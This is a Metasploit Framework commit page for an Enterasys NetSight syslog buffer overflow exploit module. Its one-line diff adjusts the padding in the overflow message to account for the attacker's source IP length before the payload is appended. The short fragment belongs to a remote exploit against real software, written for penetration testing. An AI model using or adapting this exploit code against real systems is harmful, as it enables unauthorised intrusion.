Merge branch 'enterasys_netsight_syslog_bof' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-enterasys_netsight_syslog_bof

bug/bundler_fix
sinn3r 2013-01-03 17:45:24 -06:00
commit b061a0f9c1
1 changed files with 1 additions and 1 deletions

View File

@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote
prio << ">"
message = prio
message << rand_text_alpha(11)
message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
message << get_payload
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")